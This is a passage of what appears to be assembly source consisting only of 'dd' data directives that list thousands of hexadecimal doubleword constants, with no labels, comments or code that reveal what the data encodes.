37F2FF00h, 0AB8D9094h, 2C12001Bh, 577CD1DDh, 3403C19Fh dd 9CC8B66Fh, 0C2E088EFh, 5D9E00FBh, 98831D5Ch, 0E400D3D9h dd 0C80C374Bh, 0B6EC40h, 1BBD0AD5h, 211613D8h, 0DBCF8600h dd 3F09C94Eh, 4625000Fh, 346D635Bh, 2A0044C3h, 0E977CA5h dd 0FB2BE1h, 0CA524A4Bh, 280A187Eh, 0F6F0AC37h, 0AD8070E5h dd 7633A6Fh, 0B201389Ah, 0A8B6218Ah, 0C97FC4E8h, 0A5CA5400h dd 0D6684178h, 8F6A0E87h, 49C3720Ch, 0EE9023F7h, 0DD001ED8h dd 275EEAF4h, 39B32E6h, 5133BC14h, 56B847E8h, 0A10184C4h dd 941D0C86h, 0B1C4A0F4h, 53C11C2Dh, 71A4C91Fh, 91FC7C2Ch dd 0DD2A8801h, 0EACECD6Dh, 96F5C24h, 9A281F29h, 1D0FE00Fh dd 8324AA23h, 0B60D2100h, 0EEE9BC7Ch, 40F212h, 9ACF95Ah dd 29493B04h, 6530827Ah, 24E488E0h, 97B8004Ah, 921AE2F4h dd 0D5247566h, 0B41D084h, 6034F33Dh, 0A64400EDh, 31EE4102h dd 6178D671h, 612E35Ch, 5396E03Fh, 0E81A4A59h, 0E8FA0172h dd 93D6277Bh, 6E57B020h, 81C0203Eh, 96D85630h, 6B54C06h dd 0E933Ch, 0F70B5F60h, 7EC73BF6h, 3A03FD06h, 3887A1h dd 7581E522h, 3D19D27Fh, 80B69738h, 32AB91FCh, 3805D988h dd 6B0048EDh, 0C44ABCB4h, 0BE3B2296h, 0C5368061h, 14B590F6h dd 0C85000Ah, 503C5AAFh, 173A3B24h, 0A11200A9h, 0EAAC4D66h dd 6749879h, 0D4C73FE7h, 72001149h, 29C19AC5h, 7DCA1A4Ah dd 747AE806h, 0DD74F5h, 2874E541h, 0E4FBEAFAh, 712DB07h dd 38E6ADAh, 0F8D8B4E8h, 0C07AD74Ch, 0AA1A8A50h, 2E0033F5h dd 4FE687D5h, 0FE687Fh, 43902AF1h, 310B541Ch, 65E57E01h dd 9BECEEE4h, 0BACC39FDh, 44AB0057h, 0A6928FFAh, 0C0053E56h dd 0D63575AEh, 3904DC07h, 5080A08Ah, 0DD77C2F4h, 0B1D70008h dd 7F92E634h, 0A81C1B1Eh, 2840C1F3h, 4FFA55A0h, 0EC2F4FCCh dd 639E0074h, 0B0109A02h, 0EEC6056Bh, 0C79B4Ah, 33EA7404h dd 1A00B12Bh, 1F1351BDh, 420F46h, 0F64F0CDEh, 2A0AD404h dd 9F8F6800h, 9341BE20h, 0FFE6E0h, 6DC4E4C6h, 0BFB3A718h dd 8023C73Dh, 28B807BBh, 3C09B736h, 0A0001C3Dh, 37956E93h dd 0D700916Ah, 7D602D4Ch, 18A3CD0h, 318B49A5h, 0C4C3A1F5h dd 3001DE7h, 0E970BC91h, 0F621C1h, 0F8128F73h, 0D0993E05h dd 9023948h, 5BD1CA6h, 0C080146Dh, 7C26F9h, 785FDBC2h dd 879D8240h, 33673A00h, 4F5E593h, 176F0756h, 30A7BE84h dd 975F73BDh, 0C967780Fh, 8956A0B2h, 0F07B54Eh, 0DBE192EFh dd 31160052h, 73C7AA34h, 3B560100h, 3FB06C89h, 0CFC4001Ah dd 9B85139h, 6E1CCB8Bh, 7340781Ch, 6CD324ECh, 1BDC03ACh dd 0EDCD045Bh, 0C8E0A1C8h, 9106B900h, 50849A96h, 45BF0089h dd 172C86BBh, 0F300F5BAh, 0B4378F23h, 2ACD24h, 0EE2EC903h dd 6D4D6592h, 79D9D300h, 0BBDDF11Fh, 0A96A00E6h, 0D59951D6h dd 80B895FDh, 287D9300h, 3897604Dh, 0E44F036Dh, 64D1852Bh dd 0B4D5DFE0h, 0AB55BB00h, 0EB114D94h, 567000A2h, 8FC54B8Ch dd 0C008279h, 0BDD1E531h, 0F9D4E2h, 691E2C66h, 9F9D12AFh dd 7E0F83F4h, 608742D7h, 0D2A04826h, 0AAFA00EEh, 7BB87260h dd 0EA0063D0h, 70C829ABh dd 30E4CEFh, 0E9D21065h, 0B9D07A99h, 0C5FE677Ch, 90162874h dd 0C0037686h, 0E811C69Fh, 7EF3AFDh, 0CD3EC353h, 476A6004h dd 8A00058Ch, 881BE9D9h, 0D1F045h, 3D24B3B1h, 0C713AF7Bh dd 0F64C1000h, 0E3FE3287h, 981100F1h, 0E663F91Dh, 0EA002CC8h dd 2F5DC66Dh, 304CAFCh, 6A3B1226h, 0A890BE66h, 7F6B2EFh dd 0A438FA00h, 0F2B8E888h, 7E940E17h, 0D520696Ah, 0F4EC925Ah dd 5435D600h, 0CE1A755Eh, 0D4F017h, 5DA8BD53h, 58FA4F20h dd 657BF600h, 7449C13Eh, 727E0038h, 770A5AC7h, 267BED56h dd 2C55FB0Ch, 9450FAh, 987D9F42h, 0CE489030h, 7E333Bh dd 0B7CBF2C4h, 0F1D9D4h, 2A1DDB88h, 5424273Dh, 0C56CF300h dd 0DDEA8A80h, 77433F3Bh, 7F238800h, 2A74D1AEh, 0A525400h dd 951D19D0h, 2E0D0042h, 1E8D449Dh, 0AD00C522h, 5E82EC12h dd 1113CA0h, 65494A45h, 0E00AB6C9h, 7800F571h, 0B07D4EF1h dd 7C49299h, 84CA65F3h, 0EE7C9086h, 627F25C0h, 0EA1DC6C3h dd 0C8A1D3ECh, 0DACB6Ch, 302A466Dh, 47758A8Eh, 0E6AD3300h dd 0BCAE3BBEh, 0CC910010h, 0BD6220CBh, 0BF3E9C37h, 0F5AC0051h dd 5077BED8h, 7F630044h, 0D7889929h, 3007A595h, 7B3E0276h dd 0D12527C0h, 0E8EB00BFh, 536C4589h, 31001875h, 9508B7Ah dd 20191Bh, 499C52CAh, 0AF981CB3h, 0B70ADD7Ah, 0CB15BACCh dd 47EBF501h, 45195A1h, 0EAE8F44Dh, 0A3DC01A4h, 5945B637h dd 14C20EDh, 4C338B0Bh, 4D0D033Ch, 0CC90B871h, 34100BDh dd 0B01FFAA3h, 2A00D9E3h, 79BCE22Eh, 677A2497h, 0D0A1A8AAh dd 7C2D6A95h, 6011700h, 0E5DE651h, 637343h, 9ECB08Eh, 561BF179h dd 4B01C0FCh, 0F6E22F9Ch, 0CC818AAh, 255F0004h, 6B4654D5h dd 3100821Dh, 0FBCB4D17h, 78BDF905h, 792217E3h, 0E26700E1h dd 273E667Eh, 0FE1C9300h, 0C254D6E9h, 0B19907ADh, 0D1925D25h dd 200F1F0Ch, 75000B28h, 9CF306F1h, 0CD6915h, 23A4DBD9h dd 97185BFEh, 470BD200h, 3A4BCEB7h, 3838603Eh, 0BF7FC5F9h dd 87006A7Fh, 96EF1267h, 5A0865h, 688C819Eh, 2498EA7h dd 2B5DE500h, 1F177B58h, 0ED4B0045h, 67F30F42h, 4404F9B8h dd 91BA3B96h, 71E14480h, 1C4EC02h, 0C393DC4Dh, 0EC64B640h dd 0D7008321h, 57C72B77h, 1D8F4A47h, 0C026E811h, 18E92302h dd 21142459h, 0B458B7h, 5D748220h, 39453A16h, 738164FEh dd 4DFD1A97h, 0EC21D199h, 9D004E81h, 0BE0190F5h, 321819h dd 0C671ED83h, 1F6202AFh, 3B404C00h, 8BDE55Fh, 0A56B0128h dd 733A6423h, 3DBC3091h, 9A201200h, 1B63BE49h, 0CFE70B8Dh dd 7901EA15h, 6036B108h, 0FD006F26h, 0CBAF1ACh, 8A39D8h dd 0F3B7E88Bh, 69739916h, 0D345B500h, 0F5F9B1D0h, 527F24B4h dd 150B0090h, 862D0DFAh, 2B01967Eh, 3479F316h, 0F0805EDAh dd 0A41A3A8Fh, 4002439h, 0F2982060h, 16F690F3h, 0B80116BCh dd 6B5800D3h, 28E26CE9h, 777652h, 9AEE9E0Dh, 0DE01869Dh dd 92D0C13Ah, 2C424E4Ch, 0B127B6h, 0EE11D797h, 0E3055100h dd 109D469Eh, 1A4E12AFh, 404E12C6h, 64C1CD98h, 0DF07A07Eh dd 6E897A87h, 10EC4940h, 0D0F400B5h, 63348B26h, 0A63FBF2Ah dd 826A00A7h, 0CB480191h, 2B0800C5h, 0CFD6B6FEh, 473971DEh dd 217680F6h, 3F27F228h, 8C007E4h, 908B5E19h, 0AF8A5DBEh dd 3D735300h, 5C40019Eh, 0A3D14870h, 0CD3AC701h, 0F846D89Ah dd 0BE02A10Ch, 1042CEB1h, 74E6E027h, 0B30002Dh, 6C56715Dh dd 0A82424C1h, 5200A65Ah, 47423C44h, 0C09132h, 7BB1F509h dd 0AD00B9FAh, 0E8FCB45Fh, 0A9344Ah, 5330337Fh, 1852FE8Ch dd 43B09C1Fh, 2800A0ECh, 0E4B8DD7h, 95B60061h, 40D892B2h dd 1E0F2B2Eh, 8BB30Ah, 8F8374FEh, 7EAD0035h, 0A6CAF8C0h dd 0AF245A82h, 2A01D063h, 60C5B38h, 7D914C60h, 61560029h dd 55A17BDEh, 0D400EE12h, 53ABA39Ch, 0EAE50C01h, 700A0F56h dd 8F81BC19h, 6A39322Ah, 4D14A0h, 725855EDh, 0E4D8757Bh dd 0A1F31D00h, 30252932h, 36D500F0h, 9A1AD67Ch, 0B10019ADh dd 0C3012F37h, 10DED05h, 0DF4921FFh, 0F0B7DD8Eh, 31012B36h dd 0BA2526BEh, 0EE07A1Ch, 561200E2h, 1E107458h, 0FA3E4860h dd 8F02641h, 80771980h, 1EEBC062h, 807439BBh, 0A4477361h dd 71008AD9h, 1E9D9C51h, 3A8B07C1h, 0F4DDDCh, 0F7194537h dd 0BE027877h, 22FB5100h, 5D0E8148h, 53660025h, 776B7329h dd 5700C0CBh, 9295DCFAh, 0D0462Dh, 300F4A74h, 10376DD3h dd 56D8BFh, 922B2AF7h, 1EAC2F04h, 64292807h, 6370FE24h dd 3CCABB10h, 708372CDh, 0B5E2AD7Eh, 5C9BE900h, 41B7BC6Fh dd 507835h, 1CFD4063h, 44F11595h, 0AD088200h, 0D946254Eh dd 2C1024F5h, 41521DEEh, 35E56B63h, 20B7F0A7h, 0BC5D4Ch dd 4CE60156h, 8ECAA4h, 92E30BE0h, 1A460FB4h, 49CC4300h dd 9863401Fh, 0BFE426EAh, 1B6D872Ch, 0FF62537Bh, 0E8E1FBCBh dd 0B6617021h, 74C3124h, 6D87A000h, 54DE327Ah, 7C5ACDBh dd 314551BDh, 0C8EC0F9Ah, 0A5A0EB10h, 6B728335h, 2C84D8B7h dd 0F9C6FE0h, 0DE609CE9h, 7F3B3348h, 61B76C00h, 0DF80FDC1h dd 0AA7F47h, 4E145C0Eh, 1AFFA42Fh, 516AB00h, 0DA82EF5Eh dd 3748C0D4h, 752D23B4h, 0B5A9FD00h, 611A5F4Bh, 1D6E0155h dd 6C5D6B27h, 2B2FF425h, 0D9589471h, 2A1C7DFBh, 0ED064C19h dd 1218840h, 0D6957A0Eh, 0C0F88F0Ch, 510781D3h, 66378E49h dd 0C1A30690h, 0C20F1D7Ah, 0EFDB47C3h, 47D35738h, 4E86C0D7h dd 8101DA03h, 0D80622A8h, 0A8CB35D1h, 0EE29F5F2h, 0A16E061Ah dd 0C0DD4DF7h, 0EBCDF401h, 0EED09BEAh, 67B5C440h, 99DA00C4h dd 0A752A437h, 12008C6Bh, 0EAA53D14h, 18E72EDCh, 90D4FEB2h dd 54B85D8Bh, 0D70290FCh, 32C33963h, 3C98E067h, 0F2A700EFh dd 5BF5DA18h, 9F07CB68h, 61B876C3h, 2EEF0950h, 0A6133D2Ah dd 29223780h, 5DEA4443h, 0B632600h, 50B28388h, 0E00C000Fh dd 0EB6EAE49h, 730078E6h, 7E90316Ch, 0DB3E46h, 0C33F37D9h dd 1F989245h, 5B07F0E6h, 73C56BCh, 77FD9BE0h, 78860021h dd 0D491CCAFh, 0C0000DBFh, 0C3A40C54h, 1798FCAh, 6940708Eh dd 0DC0762C6h, 5E009297h, 45A0D760h, 31AED4h, 3B72C3FEh dd 53112DE1h, 0EEBBE400h, 74EC5286h, 0DAD100AEh, 0E54C7305h dd 8B17E1E3h, 0B80057AFh, 7048E7B0h, 8A3B00CEh, 3237846Bh dd 9605747Fh, 7BDEEA0h, 0C828440h, 69BFF6h, 93ABDADBh dd 1B9D9FAEh, 0CC5A9B26h, 94B56200h, 433AAA8h, 93DEF71Ch dd 44D0C07Eh, 0DA12508Fh, 60C00C8Bh, 34914EAh, 0A3480976h dd 6BF0697Fh, 3C904BE2h, 5D6D280Eh, 33806F41h, 0DAC81D00h dd 0ADEDACh, 0D970CC5h, 27C7F07Dh, 0E4B79409h, 2D5840D7h dd 0C6061C8Ch, 8B3EC051h, 0BD1FE548h, 8458BC79h, 0D5D05A0h dd 0BE00B029h, 78C92497h, 0A020CFC0h, 0CBBF431Fh, 0B83ED8C8h dd 2D3D0249h, 0B0C48Dh, 0F840DE4Eh, 45C6C90h, 18FE00BDh dd 55E96E82h, 0B59C078Bh, 80E236A8h, 0F6D981C2h, 0C7CAD22Ch dd 0A2CBF900h, 0E14B2E56h, 72B909D8h, 0B6B80416h, 833DA017h dd 1D85195h, 700031A3h, 0CA8CC52Bh, 11AD1Ch, 14459733h dd 3156241h, 0E578507h, 9E70E44Ah, 7F1A1Bh, 8CD11305h dd 6660C736h, 2E36894Ch, 77007462h, 0A71B9ACAh, 0EF4B13CFh dd 8E4C4241h, 9C8321FEh, 2A1D6A88h, 0D0095615h, 0EB7440DDh dd 3149000Dh dd 0DAB577FAh, 1250A3CEh, 8B0AE7B8h, 987F814Bh, 0B63BC802h dd 69448038h, 7B2DB7h, 0D6A40629h, 180C0958h, 0E551C02h dd 69C9B538h, 9660F044h, 24D00FFh, 0A42A48DAh, 672414F8h dd 0CF809862h, 1EFE069Ch, 0E660F09h, 0BC40B3D2h, 0E997B41Bh dd 0AD505800h, 2C788071h, 9B38175Ah, 81105FD7h, 680F54CBh dd 0FD19C41Ch, 0A914EE00h, 0A7B573D8h, 0B9A300DCh, 8E43D75Dh dd 6F134518h, 28001025h, 21D3847Fh, 470284Ch, 19DC0488h dd 873533BEh, 0C0893403h, 0C9483AC6h, 63960601h, 3FB56431h dd 1E27F4h, 7190508Ah, 0EAD8C78Fh, 0B571B00h, 4DDA5298h dd 0ADEC182Bh, 4929100Dh, 2D0F51E2h, 804C1177h, 5B1C207Ah dd 4987Bh, 0FB96FA10h, 0A2F99DE5h, 213FEE00h, 14CF0C39h dd 43DBA078h, 0D572C09h, 0ECD3947Ch, 0ECB7007Dh, 6B0417AEh dd 9B2623C8h, 0A08B142Ah, 0DCA40094h, 7FCBD3h, 0CF84C308h dd 0AD48070Ah, 2442653Bh, 680C3332h, 0B067E003h, 834058E1h dd 7B38AC00h, 8E26C406h, 13BB100h, 833785A2h, 72D0EC6h dd 63EEF96Ah, 22706E60h, 0E10018ECh, 2C691BE4h, 7D9556h dd 5863B56Bh, 0C0AAC41Dh, 78B0251Ch, 22A14870h, 0BA72B3h dd 5904E8DEh, 0C2F129EDh, 0F4816300h, 0C7CCAC3Ah, 0A7F20ECAh dd 6E6A68DFh, 5C2A00A8h, 358F8B5Ah, 0F37DB600h, 0F6D1FD28h dd 89460065h, 7EF9623Dh, 9B00A075h, 3CB0A552h, 14A8738h dd 0D09D9E26h, 0CC045B3Ah, 0FB0030B7h, 0A4AC958Eh, 24145943h dd 20FBCBC1h, 1D1190DDh, 0D5410966h, 0D148C0BEh, 0A4765F00h dd 0F5848B34h, 4EB0C050h, 0A2189A03h, 9AE47304h, 8FC440C4h dd 3D16F6ACh, 7B802383h, 34B07219h, 4A288941h, 0E22614EFh dd 821D912Ch, 13663180h, 94B7Fh, 0E82AA020h, 3CCC6E72h dd 35008478h, 245C62E7h, 9168D9Ah, 8795D1E1h, 7A4B5A02h dd 0B4001864h, 6D10C644h, 4F9F9Eh, 1B42AF11h, 25BE99DEh dd 0EB0C44Dh, 0C0E69DA8h, 8E74D52h, 0EC640081h, 1A7B689Ah dd 0B000102Dh, 0B7BA6D5Fh, 0DCC533h, 844775B8h, 196804BDh dd 0CB00249Eh, 749B4E89h, 0B31D007Ah, 3975231Ah, 68C40D33h dd 38C0460Eh, 6B7AC4h, 53AF62Bh, 0D8C7FD6h, 0D02D0F03h dd 74F364h, 0E4B6EF61h, 5CDFB080h, 0BF009679h, 34DDFE30h dd 7C17AD1h, 19AB8C89h, 9020F4CFh, 25A948E4h, 0AA050F00h dd 0E558C543h, 2B770741h, 0F99565D4h, 0E25220A7h, 0B071471Eh dd 70440280h, 0E46E854Fh, 0CF38002Ch, 5AB8D75h, 2D72944Eh dd 0BE849200h, 6F2FE002h, 7FAC00DBh, 0E6A57670h, 5E004CE3h dd 0EFA9C6EEh, 1F56A74Eh, 0FC932117h, 0ACCFB280h, 0BB9E1E1Bh dd 2F000C71h, 358B4588h, 80DB85h, 0F5C35296h, 0EDFA6EC8h dd 0E6FB6B0Eh, 3A74E044h, 91410C4Bh, 62550CDCh, 64000930h dd 6FCA1DDEh, 1E7233A2h, 0C291A6DDh, 0ECB0D507h, 0BF277078h dd 716C8099h, 0EB3658h, 9AD029FDh, 84D60CBh, 0EE7DA300h dd 0D88A7901h, 20360084h, 51802DC8h, 384CE5B1h, 0D2761774h dd 40F5BC00h, 60B6362Bh, 89D6882Eh, 183F0B49h, 26B7055Ah dd 0FC00403Bh, 0F372EBC7h, 5BA2482h, 0EFBB8178h, 30A55DDBh dd 8F0022D4h, 106B1B39h, 671E08h, 1C1F0511h, 8A8BD6A2h dd 0DC18592Ah, 159B991Ch, 0FBD2C100h, 0E3E72C1Dh, 72903C20h dd 0CAC600F5h, 0BE0443A2h, 570E0D51h, 6095CC99h, 422B715Bh dd 671F0089h, 160A0B56h, 12ECD3Eh, 0EE00388Ch, 0D174A89Ch dd 0FE233D57h, 0DDC63503h, 85908B50h, 500D63Eh, 42BAF3F5h dd 76C62D7h, 0E3A6BB9Fh, 78630095h, 0B2000D70h, 5519D22Ch dd 7EA5877h, 22063521h, 54F1F1EEh, 745560A3h, 4586B700h dd 4EC1642Eh, 0C22B0059h, 85AE2F35h, 7300095Fh, 2DBE4088h dd 176A879h, 0B741CEB5h, 60B8165Ch, 0F09E8257h, 0E0004713h dd 5DAFB02Eh, 4FFB04EAh, 0E4AE8B4Ah, 56F4D0C0h, 0E20061E6h dd 2CFABAC9h, 0A4A0BCh, 16AB6D94h, 0DB57A920h, 0CBFE4900h dd 529E6C9Ch, 0C7A0004Eh, 0D902263Eh, 2B07C881h, 928A25BCh dd 760E9E20h, 64AA001Ah, 0C8230975h, 5303B5DCh, 7827188h dd 94B4FF54h, 0E02056C2h, 2DDA3C2h, 3DA69615h, 6CDA7AEAh dd 88171324h, 0CDCED03h, 6BE8C8F5h, 80750156h, 4CABCB46h dd 0F41460B5h, 48E011F8h, 0CF106502h, 842CC867h, 0E88C0684h dd 1719749Fh, 0E478B3h, 7B3D23F4h, 0E01270E8h, 9CD75D2Eh dd 0A92C0019h, 90ABB07Ch, 16CD4C48h, 22AC260Fh, 0F95E1280h dd 6B01438Bh, 0E61CF7A1h, 20E14589h, 0E5CC9621h, 0B96800B8h dd 13CF7E1Bh, 670552BBh, 87211CC9h, 0B1A2F000h, 761632h dd 9C3B5C71h, 9048C3D4h, 0A71CD0EEh, 6659EE8h, 18C254h dd 4B285881h, 0B0932F37h, 4FDC3Bh, 5AF4734Eh, 12779416h dd 3E55826Bh, 0E76B8800h, 23150018h, 98FA2FB1h, 39BB9B00h dd 45D50662h, 89D10099h, 0B82CCBC5h, 6E0247B1h, 49C27904h dd 0C6EC809Ch, 50A487h, 28B09B3Eh, 0CD702D2h, 1C7E7E70h dd 0AEEC7A3Bh, 0F50010BAh, 0FD2DFCA7h, 336300CAh, 3F2AAEF1h dd 2303568Ch, 946A05FAh, 95819066h, 0FCC800E0h, 6310409Ah dd 0D0490947h, 3EB30008h, 79EDA01Eh, 7BFC4C08h, 0E58F1800h dd 512BFCAh, 1A271900h, 60ED9783h, 566400E6h, 0C2A91D7Bh dd 99009EE9h, 8C03958Bh, 54B082F4h, 4B28C4Ah, 0FA36CD0Bh dd 29D8C1FEh, 0D6812073h, 0DABE7D07h, 53B089B8h, 243F3447h dd 7A05F2Dh, 543C4DA9h, 0AE4CE0C9h, 806E403Ch, 0CF3A8230h dd 2C530327h, 349C11h, 0FDA5F525h, 5807A168h, 0C1012A79h dd 1CC6AC20h, 88E9026Ah, 57896DEh, 3D9C1340h, 18726800h dd 45C0CB7Dh, 0BC8200A0h, 2F3C5610h, 4D60692Ch, 0E57336DCh dd 1EE1FC7Ch, 0C568F7D3h, 8770A895h, 862840D4h, 3D0BA374h dd 0ED87CF9h, 700F8770h, 45737FE0h, 342403E4h, 3D41E17Ah dd 4042E2C9h, 0AF78AE0Ch, 87E2630h, 0CFB6F5Ch, 769A8CB7h dd 0F4004360h, 716C31BFh, 0E5F1322h, 3F33DBACh, 3AEB3E83h dd 0A9B5880Fh, 325E0654h, 3897811h, 1471A346h, 0FBB0D74Dh dd 5B122AA4h, 1900DA62h, 6EA5955Ah, 128006FDh, 705735C0h dd 0BA3E773Eh, 0DB2C5021h, 765DF200h, 0F3341262h, 28316398h dd 2002D756h, 0FA74B583h, 8F0C8491h, 0CBD3BA80h, 0BDAC0F61h dd 28C70F93h, 0A3404E15h, 39B9C16Dh, 730C7101h, 0BF9646C7h dd 15A30E4h, 0DA741B34h, 0E05326D7h, 12003EBEh, 0B9B4876h dd 0C0549271h, 99D7FC18h, 527C19DBh, 406D078h, 8FFBDABAh dd 3E611620h, 0BAC4033h, 92D639EFh, 52180F00h, 0A330FDFFh dd 71DA0332h, 1E5D67E1h, 82C1B9E3h, 7640842Dh, 4F81B5C6h dd 0FAE0D97Bh, 0C1B676AFh, 0F4AE0E70h, 0DF98505Dh, 230546EAh dd 7FC830B2h, 2CCCDC45h, 0C0FA823h, 0BF8AB989h, 46062F51h dd 71C2110Bh, 0FBA700D1h, 0F521F3Ch, 49C242B3h, 408E1C77h dd 49B25B76h, 0C3013CA6h, 0DC3B7BB7h, 38698F1Fh, 0F6248051h dd 68C79C20h, 38617Fh, 0F4AD2A29h, 82001ADBh, 0CB7F5E3Dh dd 165225h, 3322C8CDh, 0B1A72E71h, 6B00CE70h, 8F44CFB7h dd 50E81225h, 8E9908h, 0BB0E80B3h, 0F59C1326h, 9A0B5100h dd 0B6498434h, 21A40166h, 1A1B69E3h, 4C7AF887h, 6C44C300h dd 8B1D6A53h, 48CB0F24h, 809C23C4h, 0F1340513h, 0A3077696h dd 37B03BEDh, 69515420h, 2698CBh, 32BE71F3h, 2C0C8815h dd 0E5540F7Ch, 0D5736790h dd 0B4502500h, 0D7178513h, 9DCB0049h, 0E80AAF73h, 8D002DA4h dd 0AE4A61B9h, 1340E12Bh, 0C10B339Eh, 0B0D56A9Ch, 0F3325008h dd 2B47079Ah, 130CABEBh, 90EA4D7Ch, 776DBCA0h, 2DB8F284h dd 0F47ED201h, 8CD483E6h, 2EE2F8h, 8193429Eh, 3BBD725Dh dd 16008892h, 2997E645h, 0A22654h, 4C5F42DEh, 96F3D738h dd 0BB66253Dh, 0FBC58257h, 0C813FABEh, 0FD4B88h, 0EB262C91h dd 0D5E3B85h, 280BDC7Eh, 0E056571Ch, 80E3Ch, 0B5296766h dd 7D1B2F5Ch, 780889Ch, 0E6A14C93h, 25A4003Fh, 9E2C8342h dd 677D133Dh, 0B15B700Bh, 0EF987D4h, 7CBCC0EEh, 3C113C30h dd 6B81F9D1h, 0F66A50DFh, 0ADB1D0BBh, 740BB70Eh, 9B121DC1h dd 94138C07h, 21EB46h, 0D3792378h, 0B7434001h, 66535A00h dd 3FEA31EEh, 0FF00035h, 0FEB577BBh, 0D760A958h, 9354CD38h dd 0A161FEFh, 79308033h, 36C8B4FCh, 0AB2B20C0h, 0E5C3F93h dd 9B3AF2E8h, 0BD148CDFh, 0EB007E60h, 6B5FCA25h, 0AB7F349h dd 645021ADh, 75BD415Ch, 955BC0C3h, 7A934486h, 0C979F500h dd 0DECEE2A5h, 122100B9h, 34788AAFh, 0AD811A65h, 23C0B1B2h dd 924A0D33h, 2B85216h, 6A20C760h, 0FB9326h, 14772843h dd 439E4C5h, 581EA130h, 106CDAEh, 33BDF6B2h, 83614FA4h dd 29E06D19h, 0B08AE0F5h, 415D3A60h, 68308860h, 0D103B1EFh dd 0E9BACFFCh, 4B0830F4h, 0A729D7D0h, 4E69F100h, 87B55927h dd 0E3D1385Dh, 5C044F83h, 0C0BFDB53h, 5BCF73BEh, 2300E2F0h dd 0A2D0D583h, 7101141h, 9B03C33Bh, 69959151h, 2F5DC461h dd 7E694C48h, 0B0D5DC1Fh, 0FF648583h, 2A60C8E9h, 0EFEE2C5Dh dd 9F8E010Fh, 0EC9EF167h, 0CA07F41Dh, 2F361A20h, 6FD2B570h dd 0BADB00DCh, 74B38CA7h, 500CFD8h, 12727DCBh, 123980Eh dd 58A0AE27h, 0F04F2D51h, 8A16B659h, 0D10F890Fh, 0C43F4083h dd 0CF5334h, 0E551DE8Dh, 0CA11F8F0h, 0C1834E00h, 17DF5548h dd 0CDD10020h, 6414C294h, 0B82E86C3h, 0E00DA99h, 0D69CF005h dd 7B509871h, 5FC000E2h, 0A07D2CB3h, 63005D75h, 527BFA3Ch dd 0FA4F6FC8h, 0DE8C0089h, 0A0177AF5h, 9C14464h, 5DBB6E95h dd 349FE0h, 59DD90D4h, 0A452CBB2h, 0CAE8FC00h, 0B956656h dd 7AF70373h, 9701189Fh, 45E2821h, 855C7B5h, 0D36C4F17h dd 0C945FA51h, 2988C1C1h, 7E001723h, 68BFCC24h, 0E8EE037Bh dd 0E5225D50h, 9170CDC8h, 807E8C39h, 0EA9407C9h, 78826C0Dh dd 32D80054h, 0C8C49F50h, 3000E1FCh, 0E3614ABDh, 3FBB29Eh dd 1E7DF66Fh, 0E03A0FDBh, 8CA38017h, 81AA985Ch, 0F37E0051h dd 0D3914AA0h, 0B801E223h, 88E060DFh, 1D6025BFh, 74C10EFAh dd 93A0A967h, 6FC564C3h, 0F3DA4100h, 7216076Eh, 75A400FEh dd 4CF54FD7h, 0B13A7E4Eh, 7F36000Eh, 21253DAAh, 5CEC3F7Dh dd 0E476D480h, 8B9E1287h, 962D6900h, 80B283C9h, 97672C4Eh dd 40F40098h, 1790DAE6h, 0A019BC00h, 71B0A121h, 0F3E20163h dd 0AC9D95B2h, 6DB670D1h, 6E0F0EECh, 80FD5033h, 0F6959B3Bh dd 0F7F000B1h, 0E02614B7h, 58789366h, 0E5029907h, 1D5027ACh dd 17E8EA4h, 0BB2A5321h, 20842DB6h, 50D42F3Dh, 0F5F700DEh dd 6145C51Dh, 0B17509h, 64F28D62h, 77F45EBCh, 40007B7Dh dd 701125FDh, 502C531Bh, 0CEB867h, 22A32BFh, 56156A19h dd 8C9A3400h, 481C7549h, 547A005Fh, 0C1D7DEB0h, 603B0158h dd 8EB13A3Ah, 21482EB5h, 613C5FEFh, 0EA19F4h, 0A6D5D01Fh dd 0FAC46E37h, 0DA43B709h, 0E4CB0814h, 410D9E80h, 3C0E5884h dd 5380F417h, 0E9E6A97Dh, 5100DD06h, 50010C35h, 7CE62EFh dd 8F177594h, 952711B6h, 987FE8D9h, 73DD33Ah, 7B4C2686h dd 6C351120h, 13B81Ch, 91CCCF6Dh, 82E77ED8h, 3926800h dd 0C819AE38h, 37A500C3h, 0DFE549Fh, 9330AADBh, 1CEC1039h dd 571900ABh, 0A29C993Ch, 0BE04B769h, 897323B2h, 77AE98C0h dd 7667008Bh, 0F6345481h, 6D00FDD5h, 0A0A536F3h, 4D21FBh dd 3DB61592h, 0FA123557h, 0E9F27100h, 0DC85E57Eh, 615F1267h dd 0A8F000D8h, 1E9E79F4h, 0EB8F8C00h, 26C01257h, 17D10044h dd 306BF898h, 70037F8Dh, 47118E49h, 0B64EB024h, 7CDCFFF5h dd 5576ECh, 23A3C36Ah, 0A57ABF2Bh, 4100D579h, 31881271h dd 0FE1667Ch, 0AD8A6E90h, 0C974817Dh, 0E07E60B5h, 86001BECh dd 61E6FE59h, 420E9Bh, 87B72B52h, 0B8DC44EBh, 14D1AD01h dd 6381DD8Dh, 9AB420h, 3CF6C154h, 0DE3D31DBh, 0DFA56C1Ch dd 0C8FAB180h, 9940FFh, 1051D224h, 32D1A93h, 0CCC93E00h dd 0E5ABB84Fh, 0EFD300FBh, 0F5E87A59h, 2D03B342h, 16F7314Bh dd 4880FCC4h, 511D1h, 0D3C7ACDFh, 44AD6130h, 0EA0560E2h dd 6E8FAF9Eh, 1CCEF781h, 0E09C05CCh, 0DCB2A025h, 6A5C4C0Fh dd 17B71103h, 8EA89B69h, 5A09DB85h, 0A2B5AEh, 0C0347DD5h dd 695600A5h, 59CA0EAh, 3700FD23h, 3F29B1B0h, 484834CFh dd 0B2009C4Eh, 467FDF62h, 413D1630h, 0BB04005Fh, 0A5B03F2Ch dd 0F0990083h, 0ACF5036Eh, 0C77B6523h, 5F363D00h, 122C7553h dd 0BF04008Bh, 0EF3403E0h, 0D380D2AAh, 1F20220Bh, 3CA06F3Bh dd 804FBDE3h, 0B3D324BDh, 2FEB6D4h, 490B92FFh, 4960722Ch dd 7807E566h, 4FCB2D7Eh, 87FD6970h, 39098ECh, 5DE23B88h dd 0C0095105h, 90DDD058h, 492B1EA4h, 79000C37h, 0B37FA149h dd 2F003ACEh, 6F260501h, 3B722315h, 5138C3B5h, 800F2907h dd 79D820BEh, 2E004820h, 0A509233Ch, 0F8937Ah, 0F5CAD766h dd 9B6C5B5Dh, 0D46BF700h, 53DC17F6h, 9979004Ah, 0AAB2052Ch dd 29001E67h, 5E0E5FACh, 956186h, 3C93F0FDh, 58E1CF5Bh dd 0D4EEC7E4h, 5651AB00h, 47499B42h, 7A7364C9h, 7B9D80D3h dd 6C010AB9h, 9E26D59Ah, 19F466AEh, 